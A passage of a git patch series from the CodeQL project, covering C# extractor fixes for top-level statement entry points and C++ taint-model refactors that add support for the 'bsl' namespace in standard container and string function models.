LabeledStatementSyntax node, Statement parent, int child) + public static Labeled Create(Context cx, LabeledStatementSyntax node, IStatementParentEntity parent, int child) { var ret = new Labeled(cx, node, parent, child); ret.TryPopulate(); @@ -27,13 +28,11 @@ namespace Semmle.Extraction.CSharp.Entities.Statements { trapFile.exprorstmt_name(this, Stmt.Identifier.ToString()); - // For compatilibty with the Mono extractor, make insert the labelled statement into the same block + // For compatibility with the Mono extractor, make insert the labelled statement into the same block // as this one. The parent MUST be a block statement. labelledStmt = Statement.Create(cx, Stmt.Statement, parent, child + 1); } - private Statement labelledStmt; - public override int NumberOfStatements => 1 + labelledStmt.NumberOfStatements; } } From 423fee3069a87882686ff8669245c9218f37e5ef Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Tue, 2 Feb 2021 09:13:26 +0100 Subject: [PATCH 1224/1241] Fix argument location of top level statement entry point --- .../Semmle.Extraction.CSharp/Entities/Parameter.cs | 7 +++++++ csharp/ql/test/library-tests/csharp9/PrintAst.expected | 2 ++ csharp/ql/test/library-tests/csharp9/globalStmt.expected | 2 +- 3 files changed, 10 insertions(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Parameter.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Parameter.cs index 325a77b6dd2..9a8e6765804 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Parameter.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Parameter.cs @@ -112,6 +112,13 @@ namespace Semmle.Extraction.CSharp.Entities foreach (var l in symbol.Locations) trapFile.param_location(this, Context.CreateLocation(l)); + if (!symbol.Locations.Any() && + symbol.ContainingSymbol is IMethodSymbol ms && + ms.Name == WellKnownMemberNames.TopLevelStatementsEntryPointMethodName) + { + trapFile.param_location(this, Context.CreateLocation()); + } + if (!IsSourceDeclaration || !symbol.FromSource()) return; diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index 66dc25dfedb..e09c7067139 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -392,6 +392,8 @@ FunctionPointer.cs: GlobalStmt.cs: # 7| [Class] $ # 7| 4: [Method]
    $ +#-----| 2: (Parameters) +# 1| 0: [Parameter] args # 7| 4: [BlockStmt] {...} # 11| 0: [ExprStmt] ...; # 11| 0: [MethodCall] call to method WriteLine diff --git a/csharp/ql/test/library-tests/csharp9/globalStmt.expected b/csharp/ql/test/library-tests/csharp9/globalStmt.expected index 7063a67d6bc..dc7ccea6ad1 100644 --- a/csharp/ql/test/library-tests/csharp9/globalStmt.expected +++ b/csharp/ql/test/library-tests/csharp9/globalStmt.expected @@ -4,7 +4,7 @@ global_stmt | GlobalStmt.cs:13:1:13:4 | ...; | | GlobalStmt.cs:15:1:17:1 | M(...) | globalBlock -| GlobalStmt.cs:7:1:25:1 | {...} | GlobalStmt.cs:7:1:25:1 |
    $ | file://:0:0:0:0 | args | GlobalStmt.cs:7:1:25:1 | $ | +| GlobalStmt.cs:7:1:25:1 | {...} | GlobalStmt.cs:7:1:25:1 |
    $ | GlobalStmt.cs:1:1:1:0 | args | GlobalStmt.cs:7:1:25:1 | $ | methods | GlobalStmt.cs:7:1:25:1 |
    $ | entry | | GlobalStmt.cs:21:8:21:9 | M1 | non-entry | From a14db7a04f905be8b886a4992aebe325fe7abcfb Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Fri, 12 Feb 2021 12:27:38 +0100 Subject: [PATCH 1225/1241] Fix code review findings --- .../extractor/Semmle.Extraction.CSharp/Entities/Parameter.cs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Parameter.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Parameter.cs index 9a8e6765804..bb87fccdd74 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Parameter.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Parameter.cs @@ -114,7 +114,8 @@ namespace Semmle.Extraction.CSharp.Entities if (!symbol.Locations.Any() && symbol.ContainingSymbol is IMethodSymbol ms && - ms.Name == WellKnownMemberNames.TopLevelStatementsEntryPointMethodName) + ms.Name == WellKnownMemberNames.TopLevelStatementsEntryPointMethodName && + ms.ContainingType.Name == WellKnownMemberNames.TopLevelStatementsEntryPointTypeName) { trapFile.param_location(this, Context.CreateLocation()); } From 4967664d0904f1cc543df508dfdf7d7f0512fa01 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Fri, 12 Feb 2021 12:37:15 +0100 Subject: [PATCH 1226/1241] Rework global statement extraction without DB scheme change --- .../Entities/OrdinaryMethod.cs | 5 ----- .../Entities/Statements/GlobalStatementsBlock.cs | 13 +++++++------ csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs | 10 ---------- csharp/ql/src/semmle/code/csharp/Callable.qll | 3 --- csharp/ql/src/semmle/code/csharp/Stmt.qll | 4 +++- csharp/ql/src/semmle/code/csharp/commons/Util.qll | 6 +++++- csharp/ql/src/semmlecode.csharp.dbscheme | 5 ----- csharp/ql/test/library-tests/csharp9/globalStmt.ql | 3 ++- 8 files changed, 17 insertions(+), 32 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/OrdinaryMethod.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/OrdinaryMethod.cs index d9e95c342ac..d81fc25f72b 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/OrdinaryMethod.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/OrdinaryMethod.cs @@ -51,11 +51,6 @@ namespace Semmle.Extraction.CSharp.Entities Overrides(trapFile); ExtractRefReturn(trapFile, symbol, this); ExtractCompilerGenerated(trapFile); - - if (SymbolEqualityComparer.Default.Equals(symbol, Context.Compilation.GetEntryPoint(System.Threading.CancellationToken.None))) - { - trapFile.entry_methods(this); - } } public static new OrdinaryMethod Create(Context cx, IMethodSymbol method) => OrdinaryMethodFactory.Instance.CreateEntityFromSymbol(cx, method); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/GlobalStatementsBlock.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/GlobalStatementsBlock.cs index ca1d5ba2c5b..062a09e3fae 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/GlobalStatementsBlock.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/GlobalStatementsBlock.cs @@ -7,16 +7,19 @@ namespace Semmle.Extraction.CSharp.Entities.Statements { internal class GlobalStatementsBlock : Statement { + private readonly Method parent; + private GlobalStatementsBlock(Context cx, Method parent) - : base(cx, StmtKind.BLOCK, parent, 0) { } + : base(cx, StmtKind.BLOCK, parent, 0) + { + this.parent = parent; + } public override Microsoft.CodeAnalysis.Location ReportingLocation { get { - // We only create a `GlobalStatementsBlock` if there are global statements. This also means that the - // entry point is going to be the generated method around those global statements - return cx.Compilation.GetEntryPoint(System.Threading.CancellationToken.None) + return parent.symbol ?.DeclaringSyntaxReferences .FirstOrDefault() ?.GetSyntax() @@ -33,8 +36,6 @@ namespace Semmle.Extraction.CSharp.Entities.Statements protected override void PopulateStatement(TextWriter trapFile) { - trapFile.global_stmt_block(this); - trapFile.stmt_location(this, cx.CreateLocation(ReportingLocation)); } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs index 75c0f633cc0..df39d6a836c 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs @@ -379,11 +379,6 @@ namespace Semmle.Extraction.CSharp trapFile.WriteTuple("methods", method, name, declType, retType, originalDefinition); } - internal static void entry_methods(this TextWriter trapFile, Method method) - { - trapFile.WriteTuple("entry_methods", method); - } - internal static void modifiers(this TextWriter trapFile, Label entity, string modifier) { trapFile.WriteTuple("modifiers", entity, modifier); @@ -514,11 +509,6 @@ namespace Semmle.Extraction.CSharp trapFile.WriteTuple("stackalloc_array_creation", array); } - internal static void global_stmt_block(this TextWriter trapFile, Entities.Statements.GlobalStatementsBlock block) - { - trapFile.WriteTuple("global_stmt_block", block); - } - internal static void stmt_location(this TextWriter trapFile, Statement stmt, Location location) { trapFile.WriteTuple("stmt_location", stmt, location); diff --git a/csharp/ql/src/semmle/code/csharp/Callable.qll b/csharp/ql/src/semmle/code/csharp/Callable.qll index 8f2c1bd4471..7238f4576f9 100644 --- a/csharp/ql/src/semmle/code/csharp/Callable.qll +++ b/csharp/ql/src/semmle/code/csharp/Callable.qll @@ -292,9 +292,6 @@ class Method extends Callable, Virtualizable, Attributable, @method { } override string getAPrimaryQlClass() { result = "Method" } - - /** Holds if this method is the entry method of the compilation. */ - predicate isEntry() { entry_methods(this) } } /** diff --git a/csharp/ql/src/semmle/code/csharp/Stmt.qll b/csharp/ql/src/semmle/code/csharp/Stmt.qll index aaa8890cd34..375e698d1cb 100644 --- a/csharp/ql/src/semmle/code/csharp/Stmt.qll +++ b/csharp/ql/src/semmle/code/csharp/Stmt.qll @@ -74,7 +74,9 @@ class BlockStmt extends Stmt, @block_stmt { predicate isEmpty() { not exists(this.getAStmt()) } /** Holds if this block is the container of the global statements. */ - predicate isGlobalStatementContainer() { global_stmt_block(this) } + predicate isGlobalStatementContainer() { + this.getEnclosingCallable().hasQualifiedName("$.
    $") + } override Stmt stripSingletonBlocks() { if getNumberOfStmts() = 1 diff --git a/csharp/ql/src/semmle/code/csharp/commons/Util.qll b/csharp/ql/src/semmle/code/csharp/commons/Util.qll index 203d84cbef6..10a0dce936c 100644 --- a/csharp/ql/src/semmle/code/csharp/commons/Util.qll +++ b/csharp/ql/src/semmle/code/csharp/commons/Util.qll @@ -5,7 +5,11 @@ import csharp /** A `Main` method. */ class MainMethod extends Method { MainMethod() { - this.hasName("Main") and + ( + this.hasName("Main") + or + this.hasQualifiedName("$.
    $") + ) and this.isStatic() and (this.getReturnType() instanceof VoidType or this.getReturnType() instanceof IntType) and if this.getNumberOfParameters() = 1 diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index 1cea35ace06..16936565fbe 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -843,9 +843,6 @@ local_function_stmts( unique int fn: @local_function_stmt ref, int stmt: @local_function ref); -entry_methods( - unique int id: @method ref); - /** VARIABLES **/ @variable = @local_scope_variable | @field; @@ -975,8 +972,6 @@ case @stmt.kind of @goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; -global_stmt_block( - unique int id: @block_stmt ref); stmt_location( unique int id: @stmt ref, diff --git a/csharp/ql/test/library-tests/csharp9/globalStmt.ql b/csharp/ql/test/library-tests/csharp9/globalStmt.ql index 586f34d4ade..ff0ca8f661a 100644 --- a/csharp/ql/test/library-tests/csharp9/globalStmt.ql +++ b/csharp/ql/test/library-tests/csharp9/globalStmt.ql @@ -1,4 +1,5 @@ import csharp +private import semmle.code.csharp.commons.Util query predicate global_stmt(Stmt stmt) { stmt.isGlobal() } @@ -11,5 +12,5 @@ query predicate globalBlock(BlockStmt block, Method m, Parameter p, Type t) { query predicate methods(Method m, string entry) { m.getFile().getStem() = "GlobalStmt" and - if m.isEntry() then entry = "entry" else entry = "non-entry" + if m instanceof MainMethod then entry = "entry" else entry = "non-entry" } From 9bb501c595bf33d5d6af451801015914a30561b2 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Mon, 15 Feb 2021 21:30:56 +0100 Subject: [PATCH 1227/1241] Fix failing tests --- csharp/ql/test/library-tests/csharp9/ForeachExtension.cs | 2 -- 1 file changed, 2 deletions(-) diff --git a/csharp/ql/test/library-tests/csharp9/ForeachExtension.cs b/csharp/ql/test/library-tests/csharp9/ForeachExtension.cs index 0ef36fbc7d9..6e2af21e323 100644 --- a/csharp/ql/test/library-tests/csharp9/ForeachExtension.cs +++ b/csharp/ql/test/library-tests/csharp9/ForeachExtension.cs @@ -46,5 +46,3 @@ class Program yield return 1; } } - -// semmle-extractor-options: /r:System.Linq.dll \ No newline at end of file From 9c2ca939862b7bc232e994667991596045a767bf Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Mon, 15 Feb 2021 21:38:02 +0100 Subject: [PATCH 1228/1241] Use 'Declaration::hasQualifiedName/2' in 'MainMethod' --- csharp/ql/src/semmle/code/csharp/commons/Util.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/ql/src/semmle/code/csharp/commons/Util.qll b/csharp/ql/src/semmle/code/csharp/commons/Util.qll index 10a0dce936c..d1b9b3b7894 100644 --- a/csharp/ql/src/semmle/code/csharp/commons/Util.qll +++ b/csharp/ql/src/semmle/code/csharp/commons/Util.qll @@ -8,7 +8,7 @@ class MainMethod extends Method { ( this.hasName("Main") or - this.hasQualifiedName("$.
    $") + this.hasQualifiedName("$", "
    $") ) and this.isStatic() and (this.getReturnType() instanceof VoidType or this.getReturnType() instanceof IntType) and From 04f15ad43a10ca303ce5eb7a353e72d108f8bb58 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 16 Feb 2021 09:49:09 +0000 Subject: [PATCH 1229/1241] C++: BSL support in StdPairConstructor. --- cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll index 9076220cc22..755f6a48520 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll @@ -44,7 +44,7 @@ class StdPairCopyishConstructor extends Constructor, TaintFunction { * Additional model for `std::pair` constructors. */ private class StdPairConstructor extends Constructor, TaintFunction { - StdPairConstructor() { this.hasQualifiedName("std", "pair", "pair") } + StdPairConstructor() { this.getDeclaringType() instanceof StdPair } /** * Gets the index of a parameter to this function that is a reference to From 86268d49ed9749a68db6a7e35d96268d0c31885b Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Tue, 16 Feb 2021 11:10:57 +0000 Subject: [PATCH 1230/1241] C++: Refactor StdContainer.qll. --- .../models/implementations/StdContainer.qll | 117 ++++++++++++++++-- 1 file changed, 105 insertions(+), 12 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll index e7abde30e8c..497d828fd03 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll @@ -5,6 +5,41 @@ import semmle.code.cpp.models.interfaces.Taint import semmle.code.cpp.models.interfaces.Iterator +/** + * The `std::array` template class. + */ +private class Array extends Class { + Array() { this.hasQualifiedName(["std", "bsl"], "array") } +} + +/** + * The `std::deque` template class. + */ +private class Deque extends Class { + Deque() { this.hasQualifiedName(["std", "bsl"], "deque") } +} + +/** + * The `std::forward_list` template class. + */ +private class ForwardList extends Class { + ForwardList() { this.hasQualifiedName(["std", "bsl"], "forward_list") } +} + +/** + * The `std::list` template class. + */ +private class List extends Class { + List() { this.hasQualifiedName(["std", "bsl"], "list") } +} + +/** + * The `std::vector` template class. + */ +private class Vector extends Class { + Vector() { this.hasQualifiedName(["std", "bsl"], "vector") } +} + /** * Additional model for standard container constructors that reference the * value type of the container (that is, the `T` in `std::vector`). For @@ -15,7 +50,10 @@ import semmle.code.cpp.models.interfaces.Iterator */ private class StdSequenceContainerConstructor extends Constructor, TaintFunction { StdSequenceContainerConstructor() { - this.getDeclaringType().hasQualifiedName("std", ["vector", "deque", "list", "forward_list"]) + this.getDeclaringType() instanceof Vector or + this.getDeclaringType() instanceof Deque or + this.getDeclaringType() instanceof List or + this.getDeclaringType() instanceof ForwardList } /** @@ -50,7 +88,13 @@ private class StdSequenceContainerConstructor extends Constructor, TaintFunction * The standard container function `data`. */ private class StdSequenceContainerData extends TaintFunction { - StdSequenceContainerData() { this.hasQualifiedName("std", ["array", "vector"], "data") } + StdSequenceContainerData() { + this.hasName("data") and + ( + this.getDeclaringType() instanceof Vector or + this.getDeclaringType() instanceof Array + ) + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from container itself (qualifier) to return value @@ -69,8 +113,19 @@ private class StdSequenceContainerData extends TaintFunction { */ private class StdSequenceContainerPush extends TaintFunction { StdSequenceContainerPush() { - this.hasQualifiedName("std", ["vector", "deque", "list"], "push_back") or - this.hasQualifiedName("std", ["deque", "list", "forward_list"], "push_front") + this.hasName("push_back") and + ( + this.getDeclaringType() instanceof Array or + this.getDeclaringType() instanceof Deque or + this.getDeclaringType() instanceof List + ) + or + this.hasName("push_front") and + ( + this.getDeclaringType() instanceof Deque or + this.getDeclaringType() instanceof ForwardList or + this.getDeclaringType() instanceof List + ) } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { @@ -85,8 +140,22 @@ private class StdSequenceContainerPush extends TaintFunction { */ private class StdSequenceContainerFrontBack extends TaintFunction { StdSequenceContainerFrontBack() { - this.hasQualifiedName("std", ["array", "vector", "deque", "list", "forward_list"], "front") or - this.hasQualifiedName("std", ["array", "vector", "deque", "list"], "back") + this.hasName("front") and + ( + this.getDeclaringType() instanceof Array or + this.getDeclaringType() instanceof Deque or + this.getDeclaringType() instanceof ForwardList or + this.getDeclaringType() instanceof List or + this.getDeclaringType() instanceof Vector + ) + or + this.hasName("back") and + ( + this.getDeclaringType() instanceof Array or + this.getDeclaringType() instanceof Deque or + this.getDeclaringType() instanceof List or + this.getDeclaringType() instanceof Vector + ) } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { @@ -101,8 +170,15 @@ private class StdSequenceContainerFrontBack extends TaintFunction { */ private class StdSequenceContainerInsert extends TaintFunction { StdSequenceContainerInsert() { - this.hasQualifiedName("std", ["vector", "deque", "list"], "insert") or - this.hasQualifiedName("std", "forward_list", "insert_after") + this.hasName("insert") and + ( + this.getDeclaringType() instanceof Deque or + this.getDeclaringType() instanceof List or + this.getDeclaringType() instanceof Vector + ) + or + this.hasName("insert_after") and + this.getDeclaringType() instanceof ForwardList } /** @@ -138,7 +214,13 @@ private class StdSequenceContainerInsert extends TaintFunction { */ private class StdSequenceContainerAssign extends TaintFunction { StdSequenceContainerAssign() { - this.hasQualifiedName("std", ["vector", "deque", "list", "forward_list"], "assign") + this.hasName("assign") and + ( + this.getDeclaringType() instanceof Deque or + this.getDeclaringType() instanceof ForwardList or + this.getDeclaringType() instanceof List or + this.getDeclaringType() instanceof Vector + ) } /** @@ -170,7 +252,12 @@ private class StdSequenceContainerAssign extends TaintFunction { */ private class StdSequenceContainerAt extends TaintFunction { StdSequenceContainerAt() { - this.hasQualifiedName("std", ["vector", "array", "deque"], ["at", "operator[]"]) + this.hasName(["at", "operator[]"]) and + ( + this.getDeclaringType() instanceof Array or + this.getDeclaringType() instanceof Deque or + this.getDeclaringType() instanceof Vector + ) } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { @@ -188,7 +275,10 @@ private class StdSequenceContainerAt extends TaintFunction { * The standard vector `emplace` function. */ class StdVectorEmplace extends TaintFunction { - StdVectorEmplace() { this.hasQualifiedName("std", "vector", "emplace") } + StdVectorEmplace() { + this.hasName("emplace") and + this.getDeclaringType() instanceof Vector + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from any parameter except the position iterator to qualifier and return value @@ -205,7 +295,10 @@ class StdVectorEmplace extends TaintFunction { * The standard vector `emplace_back` function. */ class StdVectorEmplaceBack extends TaintFunction { - StdVectorEmplaceBack() { this.hasQualifiedName("std", "vector", "emplace_back") } + StdVectorEmplaceBack() { + this.hasName("emplace_back") and + this.getDeclaringType() instanceof Vector + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from any parameter to qualifier From b25f1fd44acf9fc677beb4065f13917d6aa8e5d6 Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Tue, 16 Feb 2021 11:37:43 +0000 Subject: [PATCH 1231/1241] C++: Address review. --- .../models/implementations/StdContainer.qll | 88 +++++-------------- 1 file changed, 24 insertions(+), 64 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll index 497d828fd03..f416d8e9810 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll @@ -89,11 +89,8 @@ private class StdSequenceContainerConstructor extends Constructor, TaintFunction */ private class StdSequenceContainerData extends TaintFunction { StdSequenceContainerData() { - this.hasName("data") and - ( - this.getDeclaringType() instanceof Vector or - this.getDeclaringType() instanceof Array - ) + this.getClassAndName("data") instanceof Array or + this.getClassAndName("data") instanceof Vector } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { @@ -113,19 +110,10 @@ private class StdSequenceContainerData extends TaintFunction { */ private class StdSequenceContainerPush extends TaintFunction { StdSequenceContainerPush() { - this.hasName("push_back") and - ( - this.getDeclaringType() instanceof Array or - this.getDeclaringType() instanceof Deque or - this.getDeclaringType() instanceof List - ) - or - this.hasName("push_front") and - ( - this.getDeclaringType() instanceof Deque or - this.getDeclaringType() instanceof ForwardList or - this.getDeclaringType() instanceof List - ) + this.getClassAndName("push_back") instanceof Array or + this.getClassAndName(["push_back", "push_front"]) instanceof Deque or + this.getClassAndName("push_front") instanceof ForwardList or + this.getClassAndName("push_back") instanceof List or } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { @@ -140,22 +128,11 @@ private class StdSequenceContainerPush extends TaintFunction { */ private class StdSequenceContainerFrontBack extends TaintFunction { StdSequenceContainerFrontBack() { - this.hasName("front") and - ( - this.getDeclaringType() instanceof Array or - this.getDeclaringType() instanceof Deque or - this.getDeclaringType() instanceof ForwardList or - this.getDeclaringType() instanceof List or - this.getDeclaringType() instanceof Vector - ) - or - this.hasName("back") and - ( - this.getDeclaringType() instanceof Array or - this.getDeclaringType() instanceof Deque or - this.getDeclaringType() instanceof List or - this.getDeclaringType() instanceof Vector - ) + this.getClassAndName(["front", "back"]) instanceof Array or + this.getClassAndName(["front", "back"]) instanceof Deque or + this.getClassAndName("front") instanceof ForwardList or + this.getClassAndName(["front", "back"]) instanceof List or + this.getClassAndName(["front", "back"]) instanceof Vector } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { @@ -170,15 +147,10 @@ private class StdSequenceContainerFrontBack extends TaintFunction { */ private class StdSequenceContainerInsert extends TaintFunction { StdSequenceContainerInsert() { - this.hasName("insert") and - ( - this.getDeclaringType() instanceof Deque or - this.getDeclaringType() instanceof List or - this.getDeclaringType() instanceof Vector - ) - or - this.hasName("insert_after") and - this.getDeclaringType() instanceof ForwardList + this.getClassAndName("insert") instanceof Deque or + this.getClassAndName("insert") instanceof List or + this.getClassAndName("insert") instanceof Vector or + this.getClassAndName("insert_after") instanceof ForwardList } /** @@ -214,13 +186,10 @@ private class StdSequenceContainerInsert extends TaintFunction { */ private class StdSequenceContainerAssign extends TaintFunction { StdSequenceContainerAssign() { - this.hasName("assign") and - ( - this.getDeclaringType() instanceof Deque or - this.getDeclaringType() instanceof ForwardList or - this.getDeclaringType() instanceof List or - this.getDeclaringType() instanceof Vector - ) + this.getClassAndName("assign") instanceof Deque or + this.getClassAndName("assign") instanceof ForwardList or + this.getClassAndName("assign") instanceof List or + this.getClassAndName("assign") instanceof Vector } /** @@ -252,12 +221,9 @@ private class StdSequenceContainerAssign extends TaintFunction { */ private class StdSequenceContainerAt extends TaintFunction { StdSequenceContainerAt() { - this.hasName(["at", "operator[]"]) and - ( - this.getDeclaringType() instanceof Array or - this.getDeclaringType() instanceof Deque or - this.getDeclaringType() instanceof Vector - ) + this.getClassAndName(["at", "operator[]"]) instanceof Array or + this.getClassAndName(["at", "operator[]"]) instanceof Deque or + this.getClassAndName(["at", "operator[]"]) instanceof Vector } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { @@ -275,10 +241,7 @@ private class StdSequenceContainerAt extends TaintFunction { * The standard vector `emplace` function. */ class StdVectorEmplace extends TaintFunction { - StdVectorEmplace() { - this.hasName("emplace") and - this.getDeclaringType() instanceof Vector - } + StdVectorEmplace() { this.getClassAndName("emplace") instanceof Vector } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from any parameter except the position iterator to qualifier and return value @@ -295,10 +258,7 @@ class StdVectorEmplace extends TaintFunction { * The standard vector `emplace_back` function. */ class StdVectorEmplaceBack extends TaintFunction { - StdVectorEmplaceBack() { - this.hasName("emplace_back") and - this.getDeclaringType() instanceof Vector - } + StdVectorEmplaceBack() { this.getClassAndName("emplace_back") instanceof Vector } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from any parameter to qualifier From 5dc57e9cc297e57aaa0ba829f9ee575e71b974c6 Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Tue, 16 Feb 2021 11:49:44 +0000 Subject: [PATCH 1232/1241] C++: Address review. --- cpp/ql/src/semmle/code/cpp/Declaration.qll | 4 ++-- .../src/semmle/code/cpp/models/implementations/Pure.qll | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/Declaration.qll b/cpp/ql/src/semmle/code/cpp/Declaration.qll index 1f488bfeb5f..7ac79fd99c1 100644 --- a/cpp/ql/src/semmle/code/cpp/Declaration.qll +++ b/cpp/ql/src/semmle/code/cpp/Declaration.qll @@ -142,9 +142,9 @@ class Declaration extends Locatable, @declaration { /** * Holds if this declaration has the given name in the global namespace, * the `std` namespace or the `bsl` namespace. - * We treat `std` and `bsl` as the same in a bunch of our models. + * We treat `std` and `bsl` as the same in some of our models. */ - predicate hasGlobalOrStdishName(string name) { + predicate hasGlobalOrStdOrBslName(string name) { this.hasGlobalName(name) or this.hasQualifiedName("std", "", name) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Pure.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Pure.qll index 4682032f284..d81ac80deb8 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Pure.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Pure.qll @@ -7,7 +7,7 @@ import semmle.code.cpp.models.interfaces.SideEffect private class PureStrFunction extends AliasFunction, ArrayFunction, TaintFunction, SideEffectFunction { PureStrFunction() { - hasGlobalOrStdishName([ + hasGlobalOrStdOrBslName([ atoi(), "strcasestr", "strchnul", "strchr", "strchrnul", "strstr", "strpbrk", "strrchr", "strspn", strtol(), strrev(), strcmp(), strlwr(), strupr() ]) @@ -92,7 +92,7 @@ private string strcmp() { /** String standard `strlen` function, and related functions for computing string lengths. */ private class StrLenFunction extends AliasFunction, ArrayFunction, SideEffectFunction { StrLenFunction() { - hasGlobalOrStdishName(["strlen", "strnlen", "wcslen"]) + hasGlobalOrStdOrBslName(["strlen", "strnlen", "wcslen"]) or hasGlobalName(["_mbslen", "_mbslen_l", "_mbstrlen", "_mbstrlen_l"]) } @@ -125,7 +125,7 @@ private class StrLenFunction extends AliasFunction, ArrayFunction, SideEffectFun /** Pure functions. */ private class PureFunction extends TaintFunction, SideEffectFunction { - PureFunction() { hasGlobalOrStdishName(["abs", "labs"]) } + PureFunction() { hasGlobalOrStdOrBslName(["abs", "labs"]) } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { exists(ParameterIndex i | @@ -144,7 +144,7 @@ private class PureFunction extends TaintFunction, SideEffectFunction { private class PureMemFunction extends AliasFunction, ArrayFunction, TaintFunction, SideEffectFunction { PureMemFunction() { - hasGlobalOrStdishName([ + hasGlobalOrStdOrBslName([ "memchr", "__builtin_memchr", "memrchr", "rawmemchr", "memcmp", "__builtin_memcmp", "memmem" ]) or this.hasGlobalName("memfrob") From a42700f09e96d479941d58acdc4d95338d816dc9 Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Tue, 16 Feb 2021 11:52:39 +0000 Subject: [PATCH 1233/1241] C++: Address review. --- .../cpp/models/implementations/StdMap.qll | 33 ++++--------------- 1 file changed, 7 insertions(+), 26 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll index 6925fb110fc..ae3fab9f077 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdMap.qll @@ -41,8 +41,7 @@ private class StdMapConstructor extends Constructor, TaintFunction { */ private class StdMapInsert extends TaintFunction { StdMapInsert() { - this.hasName(["insert", "insert_or_assign"]) and - this.getDeclaringType() instanceof MapOrUnorderedMap + this.getClassAndName(["insert", "insert_or_assign"]) instanceof MapOrUnorderedMap } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { @@ -60,10 +59,7 @@ private class StdMapInsert extends TaintFunction { * The standard map `emplace` and `emplace_hint` functions. */ private class StdMapEmplace extends TaintFunction { - StdMapEmplace() { - this.hasName(["emplace", "emplace_hint"]) and - this.getDeclaringType() instanceof MapOrUnorderedMap - } + StdMapEmplace() { this.getClassAndName(["emplace", "emplace_hint"]) instanceof MapOrUnorderedMap } override predicate 